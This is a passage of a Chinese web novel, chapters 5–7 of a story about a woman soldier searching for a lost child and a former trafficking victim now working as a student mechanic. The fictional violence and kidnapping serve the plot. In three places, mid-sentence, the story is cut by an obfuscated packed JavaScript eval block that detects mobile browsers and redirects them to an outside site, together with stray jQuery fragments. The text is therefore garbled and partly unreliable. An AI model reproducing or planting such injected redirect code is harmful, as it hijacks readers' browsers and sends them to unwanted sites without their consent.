“拿小东做原型写个小说吧,如果变成畅销书,或者改编成电视剧,我不信小东看不到。”周子琰在路口转弯,刚好看到从校门口往这边走来的年轻男人。 男人走在高出路面十几公分的路肩上,撑着那把粉色的高达雨伞,眼神空洞,像具行尸。 不得不说,他长得跟小东一样好看。 眉悬银河,眼烁星辰,是个十足十的帅哥。 薄唇微红,像是早春的山樱,藏着不为人知的绚烂。 可惜,这个男人一直皱眉垂眼,情绪低落,像是刮起了一阵倒春寒,将那早樱冰冻,挂着沉甸甸的冰锥,让人敬而远之。 周子琰怀疑他根本没钱,在包厢里说的狠话都是为了打肿脸充胖子。 要不然,他怎么会穿着一双开胶的胶鞋? 看成色,起码三四年了。 身上的衣服也很普通,过时的白色的确良衬衫,黑色直桶裤。 跟这年头流行的蝙蝠衫和喇叭裤截然不同。 她准备停下问问他要去哪里,这么大的雨,顺路的话她可以载他一程。 没想到路口冲过来一辆失控的货车,情急之下她向左打满方向盘,同时猛踩油门,向那好看男人的前方躲去。 刺耳的刹车声响起,吴旭东来不及反应,但见那辆黑色的宝马一个飘移,甩尾过来,堪堪停在前方两米远处。 而在宝马身后,冲出来的厢式货车不受控制的撞向了宝马后面的路肩,稍迟几秒,宝马肯定报废。 慢着,这辆货车…… 吴旭东收回视线,看向了宝马车里的女人。 不得不说,这个女人闪避的技能点满了,既没有撞到他,也没有被货车撞,唯一倒霉的只有发烫的刹车片和摩擦到快要起火的轮胎。 这么极限的操作,还是在雨天,真是不容易。 确认女人没有受伤,吴旭东这才快步走向了后面的货车。 这是一辆上了年头的老式货车,一看就是专门给供销社和商场拉货的,车身涂装已经快掉光了,像是风烛残年的老头,豁了牙齿,凹陷了面颊,浑身上下泛着接近黄泉的迟暮之感。 这跟记忆中的那辆车虽然对不上,但他还是想看看。 要是那辆车还在运行,应该也是这副半死不活的尊容。 司机是个光膀子的光头,明明是自己的责任,却急赤白脸的,跳下车来准备跟宝马司机吵架。 然而,当他看到一个漂亮的女人钻出车门,嘴里的脏话便咽了回去。 周子琰当着他的面,摘掉了自己的假发。 板寸根根直立,像是一柄柄嚣张的长矛,直指苍穹。 膀子上的肌肉已经是蓄力的状态,紧绷,圆润,谁怕谁? 光头立马怂了,没见过这么凶悍的女人,算了算了。 他走过来,看了看宝马跟自己货车之间的位置,确认没有任何的刮擦,便嬉皮笑脸的递了根烟过来:“美女,对不住啊,下雨路滑,没刹住车,你没事吧?” 周子琰不抽烟,没接,只是淡淡的扫了眼地上的轮胎痕迹,走过去打开后备箱,把最后一把雨伞交给了周子琛:“快点回去,后天放假我来接你。” 周子琛不肯走。 开什么玩笑,这么大的事,让三姐一个人处理? 他还算什么男人。 他不走,就算打架不如姐姐厉害,那他站在这里给姐姐鼓鼓劲儿也是好的。 周子琰拿他没办法,只得走向了路边的电话亭,报警。 打完电话才发现,那个王耀宗正蹲在厢式货车的后面,伸手揩去一个小广告上面的泥灰,看起来像是一个小孩的手印。 周子琰刚刚差点撞到他,有意弥补,提醒道:“等会交警过来了,这事跟你没关系,你不走的话小心光头找你麻烦。” 吴旭东站起来,神色平静的看向这个女人:“哦。” 哦?看来是生气了。 她又不是故意的,当时那个情况只能往路肩这边躲,毕竟她车上还有子琛。 再说她对准的也不是这个王耀宗啊。 算了,气就气吧。 周子琰转身回到了路肩上,等警察。 吴旭东却依旧留在原地,打量着这辆货车。 周子琛打着哈欠问道:“姐,他干什么呢?” “可能是想看病,车上贴了好多小广告。”男科妇科什么的,也许是他家里人生病了。 光头不耐烦的去赶他,他也不走,继续围着车子,来来回回,若有所思。 光头对这种土鳖穷学生可没有什么好怕的,立马骂道:“有病啊,盯上老子的车了?” “你这车哪里来的?”吴旭东不答反问。 光头气得一巴掌糊了过去:“神经病,你管得着吗?” 吴旭东个头高,抬手一个格挡,直接把光头掀开。 他的劲儿太大,以至于光头踉跄着后退几步,直到后背撞上货箱,这才止住了身形。 怒火瞬间点燃,气得光头怒骂一声操.你祖宗,挥舞着拳头,要跟吴旭东干上一架。 吴旭东没带怕的,一个闪避便抓住了这蠢货的膀子,再用力一拽一扭,但听咔嚓一声,光头脱臼了,痛得龇牙咧嘴的鬼叫。 后面路肩上的周子琛目瞪口呆,倒是周子琰,见惯了大场面,神色非常平静。 她得承认,这个王耀宗斗凶拼狠的动作非常利索,但如果遇上真正的练家子,还是会败下阵来。 一看就是没有系统练过,而是长期跟人打架打出来的自保本能。 她忽然好奇:“王耀宗,没人教过你怎么打架吧?” 吴旭东把光头搡在地上,抬头盯着周子琰,眼中的戾气收了收:“怎么?” “我就教你一招,看好了。”周子琰看向身边的倒霉蛋。 倒霉蛋很自觉,自己凑了过来,被她一个过肩摔扔在了地上,不过她手下留情了,落地的时候捞了一把,没让亲弟弟的后背着地。 周子琛习惯了,从小到大,都是这样,他自己爬了起来。 周子琰拍拍他的肩膀:“没事吧?” 周子琛翻了个白眼:“有事。” “暑假给你买红白机。”周子琰试图送上糖衣炮弹。 周子琛又不差钱,嫌弃道:“我自己会买,才不要你的。” “不要拉倒。”周子琰把伞还给他,随即冲王耀宗抬了抬下巴,“会了吗?” 吴旭东眯眼打量着她,没有说话。 这个女人到底什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634911|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么意思,是说他把人弄脱臼了不好? 也许吧。 起码脱臼之后警察那里不好交代。 果然,下一秒,女人已经走了过来,咔嚓一声,给光头把膀子接了回去。 动作利索,绝不拖泥带水,他未必是她的对手。 光头哎呦哎呦的起来,说了声谢谢,还想再跟吴旭东哔哔什么,周子琰一个眼神扫过来,立马闭嘴。 交警来后看了眼现场,判定光头全责,货车前面撞坏的保险杠自己承担。 不过宝马没什么损坏,不用光头赔偿。 核对身份和驾照的时候,交警眼中多了几分敬意:“原来是周指导,雨天路滑,开慢点。” “谢了同志。”周子琰看了看时间,催促周子琛,“愣着干什么,回去。” “姐,他在干什么?”周子琛指着货车后车厢。 周子琰绕过去,发现这个王耀宗正坐在一堆货物里面,抱着膝盖,闷头思考着什么。 他的头发很黑,发质坚硬,一根根棱角分明,活脱脱像一只刺猬。 一只受伤的刺猬,正在孤独的疗伤。 恻隐之心人皆有之,周子琰靠近一步:“你怎么了?不舒服?” 吴旭东回过神来,冷冷地扫了一眼,没有说话。 那眼神,好像一只绝望的困兽,蓄满了狠劲儿,要跟人拼命。 弄得周子琰一头雾水。 算了,性格决定命运,他这个臭德行,不被人排挤才怪了。 人跟他说话都爱答不理的,好心帮他还要被他怨恨。 她是军人,不跟他计较,可是别人才不会惯着他。 她走了,送周子琛回学校。 调头后,找了个汽修店,准备检查一下刹车片,免得明天送人的时候半路出故障。 到了店里,才发现那只困兽正在忙着帮人家修车。 怪不得他不回学校,原来是来打工了。 果然是穷人家的孩子,在饭店时口口声声说他有钱,不过是强行挽回尊严。 真有钱根本不会为了一顿饭钱跟同学闹翻,全当喂狗了不是吗? 她叹了口气,算了,这个王耀宗怪不容易的,脾气古怪一点也是正常。 她耐心的下车排队。 车主是个打电话的男人,带着老婆孩子。 一个扎着羊角辫的小姑娘正坐在小板凳上,百无聊赖的盯着她爸手里的大哥大。 周子琰想起手套箱里还有怡口莲,便抓了一把:“小朋友,给。” 小姑娘抬头,脆生生的说了声:“谢谢阿姨。” “不客气。”周子琰很喜欢小孩,女孩妈妈端了个凳子给她,她便接过来,坐在了女孩身边闲聊。 “几岁了?” “五岁。” 唔,小东走丢的时候也是这个岁数。 “叫什么名字呀?” “叫妞妞。” 也不知道小东记不记得他原来的名字。 “家里都有谁呀?” “爸爸妈妈,爷爷奶奶,姥姥姥爷,舅舅舅妈,叔叔婶婶,姑姑姨姨,表哥表姐。” 呦呵,小家伙挺能啊,还知道分类呢。 也不知道小东记不记得吴家的父母手足了。 “妞妞上学了吗?” “上幼儿园啦。” 真好,五岁的小孩,已经能够进行简单的交流了,希望小东也可以正常上学吧。 两人又聊了一会儿,女孩家的车子好了,她妈妈抱起她:“跟阿姨说再见。” “阿姨再见。”妞妞比了个飞吻,可爱到让人眩晕。 周子琰起身,跟妞妞挥手,目送他们远去。 身后不期然传来一个冰冷的声音:“有事?” 周子琰回头,被男人厌世的眼神弄得莫名烦躁。 他肯定不是小东,肯定不是!!! 她抱着双臂,冷下脸来:“不然呢?” 5. 炸毛 吴旭东怀疑这个女人在找茬。 要修车就直说,为什么要这么咄咄逼人的反问。 周子琰也觉得这个男人在挑衅她。 这里是汽修店,来这里不是为了检修车子,难道会买衣服吃饭吗? 两人齐齐在心里把对方鄙视了一遍,发出同样的感慨:神经。 互相看不对眼的两个人,就这么大眼瞪小眼,谁也没有进一步的动作。 僵持中,刚刚离开的车主掉头回来了。 他把大哥大落这儿了,吴旭东毫不迟疑地递给他,他很感激,说什么也要给吴旭东一点感谢费。 吴旭东没要,车主干脆塞了一包软中华给他:“小伙子,拿着!这年头啊,捡到贵重物品愿意归还的没几个,一包软中华而已,不算什么。收下吧!不然大哥心里不踏实!” 没等吴旭东拒绝,车主直接走了。 路过周子琰的宝马时,由衷的羡慕道:“可以啊朋友,这是宝马M3吧,2.3升直列四缸发动机,多片式车轮,听说要四五十万呢,家里挖煤的?” 周子琰笑笑,没有辩解。 男人也笑,留了张名片给他:“我做二手车的,什么时候不开了找我,再见朋友!” 男人走后,周子琰开始重新审视面前的修车工。 虽然穷,脾气也怪,但他拾金不昧,活雷锋。 人品的高洁之处,往往体现在这些不经意的细节里。 周子琰原谅他了,指了指自己的车子:“刚刚刹车刹狠了,帮我检查一下。” 吴旭东转身,去拖千斤顶过来。 周子琰搭了把手。 吴旭东迟疑了片刻,说了声谢谢。 周子琰自己就会修车,不过是没带工具,眼下直接帮忙把车子顶了起来。 毕竟大半夜的,在这人静灯寂的地方,一个穷学生打工挣点饭钱挺不容易的。 吴旭东却蹙眉。 他做事的时候不喜欢别人插手,更不喜欢别人指手画脚。 他停下手里的动作:“你来?” “我来的话你怎么挣钱?给你你也不会要。”周子琰还是起开了,“你来。” 吴旭东愣在了那里。 无端想起楚劲雄的那句“那个女人懂你”,胸口像是被谁捶了一拳,带着讽刺的辣。 她果然看不起他,以为他穷到只剩清高,连钱都不好意思赚。 他黑着脸道:“工具短租,一个小时五毛。” 租个屁!周子琰直接把扳手塞他手里。 无意间碰到他的手,好冰。 冰得让她忍不住一个激灵,那是来自灵魂深处彻骨的寒意,令人心慌。 她狐疑地打量着这个男人,他的身上,到底发生了什么? 以至于一个正当韶华的年轻大学生,会有这么冰凉的一双手。 幸亏她体热,不管冬暖夏凉,身体四肢都是热烘烘的,不怕冰。 两相对比,吴旭东像是被烫到了一样,猛地抽回手,别过身去。 烦躁是一株狂野的爬山虎,爬满了整个墙壁,墙壁那头的葱郁清凉对着别人,墙壁这头的水深火热对着自己。 吴旭东握紧了右手,上面残留着女人的余温,干燥温热的触感略显粗糙。 那不是一双寻常女人的手,而是一双士兵的手,细长,有力,但并不光滑,像是海边的细沙,有种细腻和粗糙杂糅的感觉。 他拿起劳保手套,狠狠搓了几下,这才蹲下,卸轮毂,检查刹车盘和刹车片。 周子琰百无聊赖,抓起旁边一张老旧木桌上的报纸坐下,时不时扫一眼他的侧脸。 看似漫不经心,实则留意观察。 这么热的天,还穿长袖,扣子也扣得严丝合缝,真怪。 不过她觉得这个男人本质不坏,要不是跟小东的性格相去甚远,她真的怀疑他就是小东。 吴旭东自然注意到了她的眼神,偶尔对上,总觉得她的严肃和凝重让人不舒服。 像在看一个犯人。 他受不了,摘下劳保手套,问她:“看什么?” “看你,犯法?”周子琰放下报纸,干脆什么也不做了,就看他。 吴旭东直接扔了手套:“不换了,你自己来。” “看来你的技术不怎么样。”周子琰是懂激将法的。 炸毛的刺猬瞬间老实了,单手叉腰,服气地点点头:“行,算你狠!” “狠?我脾气可好了。”周子琰重新抓起报纸,想想又放下了,还是帅气的大学生修车工养眼。 吴旭东冷笑:“你?脾气好?” 真好,一言不合就把自己弟弟过肩摔。 看周子琛那熟练的样子,没少被这个姐姐欺负。 脾气好个屁! 见他不信,周子琰挑眉:“怎么,你想领教一下我脾气不好的时候?” “不感兴趣。”吴旭东戴上手套蹲下,继续检查。 他的技术好得很,等着瞧,事实胜于雄辩! 接下来周子琰再怎么看他,他都不再理会。 检查完,问道:“刹车片磨损严重,换什么价位的?” “最好的。”周子琰毫不犹豫,这可是进口车,很贵的,当然要配最好的。 吴旭东明显冷笑了一下,万恶的有钱人。 有什么了不起的,早晚他也能买一辆这样的车。 不,更好的! 起身,吴旭东取了价目表,沉默地递了过来。 周子琰没看,直接合上:“你决定就好,我是个粗人,而你是大学生,我相信你的眼光。” ……这个女人怎么回事? 一再的讽刺他,有意思吗? 烦躁的野兽正在咆哮,吴旭东转身,拿了最好的进口陶瓷刹车片过来。 沉默地蹲下,试图用忙碌让自己冷静。 换完起身,他递了个记账本过来,写着收费明细。 刹车片六十块九毛,工费三块。 周子琰拿出一张百元大钞,不禁为他潇洒飘逸的一手好字而惊叹:“我就知道,你的字肯定跟你的人一样好看。可以写一页给我做个收藏吗?” ……又来!!! 有这样夸人的吗? 还要收藏? 他又不是什么名家大师! 以为他没钱故意挖苦他是不是? 是不是还要赏他几个子儿,表演一下她那高贵的同情心? 不需要,谢谢! 吴旭东一把夺走她手里的钱,去里间找零。 片刻后黑着脸,把找来的零钱往桌子上一拍,扭头拖着千斤顶往里走,一句话也没有多说。 周子琰不知道哪里又得罪他了,也懒得跟他计较。 只是感慨,他这忙活半天,就挣三块,还不知道要分几成给老板。 就这,他还吹牛,说他有的是钱。 真是个死要面子活受罪的男人。 周子琰见他不肯出来,只得喊了一声:“大学生,再不出来我随便撕上一页带走了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634912|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴旭东背对着店门,握紧了手里的扳手,没有回头。 他那破字有什么好收藏的,还要撕了带走,神经病! 还喊他大学生! 她故意的! 绝对! 这是赤.裸.裸的嘲笑! 早晚他会让她后悔! 周子琰得不到回应,真就翻看起来,在一页歌词前停了下来。 是《乡村路带我回家》。 中英对照。 她忍不住哼唱了两句,其中一句是:收音机提醒我,家乡是那么遥远…… 刺啦一声脆响,在这个只有雨声的夜里,试图撕碎他过分坚硬的保护壳。 然而这注定是一场徒劳。 故意落在桌上的零钱,证实了他那可怕的猜测。 以至于他完全动弹不得。 光是站在那里,背对着门口,不对这个可恶的女人发出任何的不满,就要用尽他全部的力气。 周子琰走了,带着那张歌词,留下了找零的钱。 调头的时候,她看了眼后视镜里的男人。 本想给他点小费,又怕伤了这人的自尊心,只能假装把零钱落下了。 周子琰开出去一段路,停了下来。 没来由的,心中一片酸涩。 小东他到底在哪儿呢? 是不是也在某个城市的某个街边小铺子里,点灯熬油的为了生计奔波着。 想想就心痛。 那么可爱的小东,就那么不见了。 她都找了这么久了,一点线索都没有。 真难受。 心里像是山体滑坡,堵了乱七八糟的石头,沉甸甸的压着,难受,窒息,无人可诉。 闭上眼,脑海里谈伯母那痴痴傻傻的模样挥之不去。 如果小东还活着,如果小东知道他妈妈为了找他扒火车摔成了傻子,如果小东看到他爸爸那苍老的白发,如果…… 她不敢想。 有时候真不知道还要不要继续找下去。 也许小东早就不在这个世上了。 可是内心深处总有一个声音在高声呐喊,嘶吼。 不是的!不是这样的!!不该是这样的!!! 小东那么好,那么可爱,那么惹人疼! 她一定会找到他的,一定! 她打起精神,往医院去了。 受伤的是男性战友,探视后她住到了医院旁边的小旅馆里。 明天还要带他去假肢厂试试假腿。 * 凌晨一点半。 医院。 吴旭东沉默地站在病床前。 受伤的转业军人显然在等他,见他过来,很是开心。 掀开白色被罩,给吴旭东看他少了一截的腿:“你看,哥是不是很棒?男人,就不能贪生怕死。半条腿换一个三等功,值了。” 吴旭东握紧了拳头,问他:“我的工作是你动用了关系?” “没啊。回吧,明天早点过来,陪我去试试假肢。”王腾虎一脸的笑,“顺便送我回王家沟,我战友一个人照应不过来。” “你最好没有!”吴旭东警告他,“别逼我!” 第二天一早雨停了。 吴旭东把高达雨伞,和那三十几块钱交给了楚劲雄,又塞了一包软中华:“拿给周子琛。” “不是吧,你这又给钱又给烟的,干什么?闯祸了?”楚劲雄一头雾水。 吴旭东看看手表:“钱是他姐的,我要去医院,回来再说。” 6. 线索 吴旭东上的是一所综合类大学。 他所在的电气工程学院,跟楚劲雄所在的工学院离得很近。 都是些搞工程的,彼此学科有所渗透,算是兄弟院系,所以都在东半区扎堆。 而周子琛所在的文学院,跟外国语学院等一些文科类的院系都在西半区。 吴旭东赶时间,没空横跨大半个校园去还伞,只能让楚劲雄跑腿。 楚劲雄倒是没意见,只是不清楚他莫名其妙去医院做什么。 见他要走,赶紧抓住他:“怎么了?你哪里不舒服吗?” 吴旭东一直想摆脱王家沟的人和事,自然不想让人知道他有个当兵的堂哥。 要不然,周围的人肯定要巴结他,谄媚他,时间久了,王家沟的关系就永远甩不掉了。 就像是雨天走在烂泥路上,汽车疾驰而过,甩上一身的泥点子,肮脏又恶心。 与其到时候花费时间和精力清洗,还不一定能洗干净,不如一开始就远离,片泥不沾身才是最好的。 所以,王腾虎的存在他没有告诉任何人。 他倒不怕楚劲雄巴结他,而是不想好兄弟被搅进这趟浑水里面,不得抽身。 他撒了个谎:“昨天晚上加班太晚,有点不舒服。” “那我陪你过去。”楚劲雄有个打压教育的长辈,把他养成了一个怕事的怂包,但对吴旭东的事情除外。 吴旭东救过他。 那是大一刚开学的时候,班里人知道他老子是教导主任,想巴结他。 变着法子给他送礼,抢着给他打饭拎水,甚至要给他洗衣服刷鞋。 他不肯,生怕连累自己老子,回头要挨骂的。 便客客气气的拒绝了。 没想到反倒是惹恼了一个神经病。 那人的心眼子比针尖还小,把他的拒绝当成了一种歧视和践踏,铆足了劲儿要报复他。 盯梢一段时间,发现他喜欢去学校后门的小吃街吃夜宵,便在一个月色稀薄的夜晚,提前躲在了校门口。 于是他好端端走着路,就被那个神经病套了麻袋。 那时候吴旭东刚好要去汽修店打工,路见不平,冲上来跟那神经病打了一架。 最后那个神经病被开除了。 他老子想要通报表扬吴旭东,被吴旭东拒绝了。 这小子不想张扬,反倒是拜托他老子帮忙找人。 具体名字记不清了,只知道是一对夫妻,男的姓吴,女的姓谈。 问及原因,才知道吴旭东其实不叫王耀宗。 楚劲雄当时都听傻了,他怎么也没想到,隔壁院系的学霸居然有这么曲折的身世。 他老子不想欠下人情债,应道:“好,我帮你打听看看。找不到也没事,等你毕业了,我给你推荐个好工作就是了。” “不用给我开后门,我不喜欢。”吴旭东拽拽的,留下这么一句话就走了。 从那之后,楚劲雄就成了吴旭东的狗腿子。 谁也理解不了,一个教导主任的儿子,怎么就跟被人下降头了似的,放下那些巴结他的同学不理会,反倒是热脸贴着冷屁股,天天追着一个穷山沟出来的臭冰山跑。 一跑就是四年。 这样过命的交情,叫他怎么放心吴旭东一个人去医院,说什么也要陪着的。 吴旭东真的不想拖他下水,王家沟那是什么鬼地方,楚劲雄对付不来的。 只能拉下脸来:“不用,我很忙,别跟着。” 楚劲雄郁闷了,却还是笑了笑:“好好好,不去。别生气啊,我这不是关心你嘛。我这就给你还雨伞去。对了,你去看病,身上钱够吗?要不要我给你拿点儿?” 说着就去掏裤兜,被挡了回来。 他又继续嘀咕:“奇怪,周子琰的钱怎么会在你这里,你们后来又见面了?是去找你修车吗?怪了,她那车挺贵的吧,要修也得去专门的宝马专修店吧?你那店估计找不到合适的配件……” 一连串的问题,吴旭东一个也没有回答,直接转身走了。 楚劲雄叹了口气,好吧,不说就不说。 他赶紧去还伞,还了伞去医院看看好了,他真的不放心。 他见过吴旭东一身的伤疤。 整个后背没几块好地方,手膀子上,腿上,不是香烟烫的,就是鞭子抽的,还有刀痕,钝器刮擦造成的瘢痕增生。 很丑陋,很狰狞,好像背上匍匐着一只凶神恶煞的野兽,随时可以咬人一口。 所以大夏天的也只穿长袖长裤。 他曾经建议吴旭东,干脆去做个纹身好了。 吴旭东不肯,难看就难看,那都是他的一部分。 他又劝:“那你以后吓到你老婆怎么办?” 吴旭东也是个奇葩,居然回道:“能被吓跑的会是我老婆?我也看不上那样的怂货。” 得,他还能说什么? 不过他记得,吴旭东的膝关节好像也有点问题,不知道是半月板还是哪里,问了也不说。 现在是夏天,还能坚持,到了秋冬春三季,可遭罪了,上课跟上坟一样,走到教室会出一身的汗,疼的。 可是即便这样,吴旭东也死撑着,挺直了脊梁,不肯让任何人看出他的脆弱。 他不止一次劝过吴旭东,毕业后去南方吧,起码气温高,不至于冻腿。 可是吴旭东不听,非要找出人贩子和那个货车司机,也许那群人还会在附近作案,要是去了南方,那会彻底断了线索。 现在好了,分配在了这个北方省城的邮电局,一辈子逃不掉腿疼的折磨,图什么呢? 哎。 楚劲雄想想心里堵得慌,路过教务大楼的时候,进去找了下他老子:“我不高兴!” 楚主任知道他要说什么,只能劝他:“改名的事真的帮不了,除非做假证,那是犯法的。你别忘了你爷爷临终前的话,咱们老楚家的后代,不求大富大贵,只求问心无愧。违法乱纪的事,不能做。” 楚劲雄沮丧地低下了头:“那你想想办法,让我跟他一起去邮电局吧,我怕别人排挤他,有我在会好点。” “不用,他有个堂哥,当兵的,转业回来了,分到了工商部门。要不然,一个山沟里的穷学生能分到邮电局当干部?”楚主任心疼自己的傻儿子,看来这小子还不知情呢。 楚劲雄果然愣住了,好奇道:“堂哥?当兵的?我怎么不知道?” “你看,我就说吧,他救你不过是因为他喜欢打架,他在中学和小学的记录都不好,是个打架惯犯。进了大学,也只是在你面前演演戏。他救你,真不算什么天大的恩情,你别再傻乎乎的把他当祖宗了。”楚主任不想看到自己儿子整天像个瘪三一样,跟在那个吴旭东后面。 他想让他儿子知道,吴旭东这人没有多少真心,要不然,这么大的事情会瞒着好兄弟? 既然吴旭东虚情假意,那劲雄也没必要上赶着兄弟情深,不是吗? 可是楚劲雄听不进去。 赌气道:“你别管他是为了什么,总之我的命就是他救的。我就是要去邮电局,你要是不答应,我就不去相亲了!也不结婚!我打一辈子老光棍儿!让你抱不上大孙子!” 几乎是用吼的,楚劲雄这个怂包,难得硬气了一回,凶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634913|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完自己老子就跑了。 徒留楚主任无限惆怅。 估摸着傻小子快到楼下了,他赶紧趴到窗口:“儿子,他那个堂哥转院回来了,叫王腾虎,在省军医。你不信的话,自己偷偷找过去看看。爸爸什么时候骗过你,他是真没把你当兄弟啊。” 楚劲雄猛地回头,反击道:“你不要挑拨离间,他去医院是不舒服,才不是去看什么堂哥!” ……楚主任头疼,算了,有些南墙,总要让孩子自己撞撞的。 起码那个王腾虎分配的单位不错,搭上话的话,对他儿子也没什么坏处。 * 文学院。 下午还有最后一场考试,明天就放假了,这会儿大家都在自习。 好心的班长告诉楚劲雄,周子琛从来不上自习。 这会儿多半正在宿舍睡大觉。 楚劲雄只能去西区男生宿舍。 刚到楼下,就看到一群女生围着周子琛,这个送情书,那个送礼物。 都是大四的毕业生,要走了,没机会了,做个最后的挣扎。 楚劲雄目瞪口呆。 啧啧,同样是帅哥,吴旭东门庭冷落,无人问津,顶多是走在路上,被天真的低年级女学生花痴一下。 等到那些女生知道他穷得叮当响,就会敬而远之了。 而周子琛…… 这待遇堪比大明星了。 不过他居然一个都没有收,还说自己心里有人了。 徒留叹息一片。 楚劲雄喊了一声:“嘿,瞌睡虫,你姐的东西,拿着。” 周子琛接住雨伞,把钱和软中华还给了楚劲雄:“借个伞送什么钱啊,我又不抽烟。” “都是你姐的,拿着吧。”楚劲雄非常佩服周子琛,都快被脂粉堆淹没了,找老婆肯定易如反掌。 周子琛还是把烟塞给他:“伞肯定是,钱有可能是,烟肯定不是,我们一家没有抽烟的。” 楚劲雄只好把烟收下,问道:“那你告诉我你姐在哪儿吧,你不收,我没办法交差,我去找她好了。” 要是太远,就等下午再去,他得先去医院看看吴旭东。 周子琛打了个哈欠:“这会儿应该在省军医,等会要去什么东莱镇,送她的一个战友。挺远的,你要找就去吧。” 东莱镇? 那不是吴旭东老家吗? 在隔壁市的乡下。 这么巧? 慢着! 难不成周子琰要送的就是王腾虎? 难怪吴旭东手里有周子琰的钱! 难怪不让他去医院,是怕他知道周子琰和王腾虎的关系,想要攀高枝吗? 真可笑,昨天他让吴旭东努努力抱大腿,吴旭东还给他脸色看。 结果呢? 一扭头自己跟周子琰勾搭上了。 这种好事,难道他会给兄弟捣乱不成? 居然瞒着他! 他很生气,来势汹汹,从西门出来,直奔医院。 路过杂志社门口时,一个光头开着老旧货车从他身后经过,车里隐约传出孩子的哭声,他忽然愣住了。 吴旭东说过,有段时间,好多被拐的孩子,都是被供销社的司机藏在货车里带走的。 难道…… 正好医院也是这个方向,他赶紧追了上去。 史青霞正好从杂志社出来,拿着周子琰给她的寻人启事去印刷厂,下一期的杂志内封没有人登广告,直接就登这个。 她骑车追上,正准备问问要楚劲雄要不要搭车,爆胎了。 楚劲雄回头看了眼,继续追。 7. 巧合 雨后的早晨,空气格外清新。 树叶上垂着晶莹的雨珠,像是沉溺在昨晚滂沱的梦境之中,不愿醒来。 阳光送上明媚的亲吻,折射出璀璨的虹。 吴旭东晚了一分钟,错过了公交车,只能等下一班。 路边的包子铺热气腾腾,店主的吆喝声里,长龙缓慢移动。 吴旭东加入其中,一辆货车晃晃悠悠地从身后驶了过来。 前保险杠垂挂下来,像是下巴脱臼的老人,随着货车前进的动作而颤抖。 正是昨晚光头开的那辆。 估计赶时间,没修。 经过吴旭东身边的时候,里面隐约传来微弱的哭泣声。 像是被人用手捂住了似的,虽然轻微,但是确切无疑。 奇怪的是,周围的人居然无动于衷,依旧忙忙碌碌。 买包子的,啃着油条赶路的,骑着自行车上班的…… 形形色色的人群,好像都聋了一样。 可是他没聋,他要追! 是人贩子! 一定是的! 一定! 追到前面路口,正好红灯,交警在指挥,光头不敢硬闯,正老老实实地等着。 靠近些,那哭声更大了。 吴旭东加速冲刺,即便膝盖隐隐作痛,也顾不得了。 他一手扒住货车后门,后脚一蹬,攀附了上去。 豆大的汗珠沁出,跟那树叶上的雨珠一起坠落,滴滴答答。 绿灯亮,车子启动,光头丝毫没有察觉到后面挂了一个人。 孩子的哭声越来越大,光头在前面都听到了,一打方向盘,拐进了一个偏僻的巷子里。 嘭的一声,光头摔上了车门,吴旭东忍痛跳下来,躲到了车厢另外一侧。 脚步声接近,光头打开车门,小声骂道:“贱人,别让他哭了,小心把警察引过来!” 女人无助的辩解:“孩子太小了,不好哄。” “别废话,赶紧哄!等会还要去东莱镇接一个聋哑的男娃子,要是耽误我正事,回家扇死你个贱人!”光头骂骂咧咧的,一把摔上了车门。 转身的时候,光头不禁倒吸一口冷气。 一头被激怒的猛虎,正满含杀气的盯着他,如果眼睛可以化作刀子,他早已碎尸万段。 光头心虚,先发夺人:“操你大爷,又是你!干什么?” 吴旭东懒得废话,咔嚓一声,卸了光头的膀子。 杀猪般的惨叫声中,光头失去了反抗的能力,踉踉跄跄逃出了巷子,不敢呼救。 吴旭东想追,可是车厢里的孩子还在哭,只得先救人。 打开货厢门,但见一个鼻青脸肿的女人,正死死地抱着一个一岁左右的小男孩,孩子挥胳膊蹬腿,喊着妈妈妈妈,撕心裂肺。 这一瞬间,时光好像重叠了。 他看到了那年那日的自己,被关在不见天日的车厢里,跟那凶神恶煞的人贩子搏斗。 最终落败。 就像这个幼童,那么小,那么无助,拳打脚踢也挣脱不了成年人的钳制。 除了哭,无计可施。 吴旭东跳上货车,夺了孩子,轻轻抱在怀里,孩子瞬间收了声,抓紧了他的衣领子,委屈巴巴地看着他。 谁说稚童什么也不懂? 善与恶的分辨,只在一个不经意的动作之中。 那女人以为这是孩子的哪个亲眷,连滚带爬冲下车,一头扎进前面的街道。 吴旭东抱着孩子下车,边追边做着取舍。 如果先送孩子去派出所,他就会失去人贩子的踪迹。 这种畜生很少单打独斗,会有团伙,如果追过去,说不定能找到当初拐卖自己的畜生,进而找到自己爸妈。 可他抱着孩子,一旦深入虎穴,未必能保证孩子的安全,而且,孩子的父母肯定很着急。 正头疼,楚劲雄吭哧吭哧跑了过来。 